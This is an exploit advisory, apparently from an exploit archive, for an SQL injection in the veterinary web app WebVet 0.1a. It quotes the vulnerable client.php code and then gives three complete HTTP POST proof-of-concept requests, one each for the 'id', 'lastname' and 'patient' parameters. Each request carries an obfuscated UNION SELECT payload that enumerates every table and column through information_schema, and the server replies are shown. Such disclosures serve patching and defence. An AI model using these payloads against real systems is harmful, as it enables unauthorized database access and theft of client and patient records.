WebVet 0.1a SQL Injection

`# Exploit Title: WebVet 0.1a - 'id' SQL Injection  
# Dork: N/A  
# Date: 2018-11-04  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://webvet.exreality.net/  
# Software Link: https://netix.dl.sourceforge.net/project/webvet/webvet_2013_07_08.zip  
# Version: 0.1a  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# /[PATH]/client.php  
#091 else if (!empty($_POST['form_search_client']))  
#092 {  
#093 $searchedClient = new Client();  
#094 if (!empty($_POST['id']))  
#095 $searchedClient->id = $_POST['id'];  
#096 if (!empty($_POST['lastname']))  
#097 $searchedClient->lastname = $_POST['lastname'];  
#098 if (!empty($_POST['patient']))  
#099 $searchedClient->patient = $_POST['patient'];  
#100   
#101 // do the search  
#102 $db_connection = db_open(db_user_name, db_user_passw, db_name);  
#103 if (!$db_connection) die;  
#104 $clients = db_search_client($searchedClient, clients_table_name, $db_connection);  
#105 include "clients_view.php";  
#106 }  
  
# POC:   
# 1)  
# http://localhost/[PATH]/client.php  
#   
POST /[PATH]/client.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 525  
id=1 UNION SELECT 0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)-- -&form_search_client=Efe  
HTTP/1.1 200 OK  
Date: Sun, 04 Nov 2018 18:13:34 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Content-Length: 1229  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
# POC:   
# 2)  
# http://localhost/[PATH]/client.php  
#   
POST /[PATH]/client.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 501  
lastname=' UNION SELECT 0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)-- -&form_search_client=Efe  
HTTP/1.1 200 OK  
Date: Sun, 04 Nov 2018 18:19:04 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Content-Length: 1229  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
# POC:   
# 3)  
# http://localhost/[PATH]/client.php  
#   
POST /[PATH]/client.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 499  
patient=' UNION SELECT 0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)-- -&form_search_client=Efe  
HTTP/1.1 200 OK  
Date: Sun, 04 Nov 2018 18:21:05 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Content-Length: 1229  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
  
`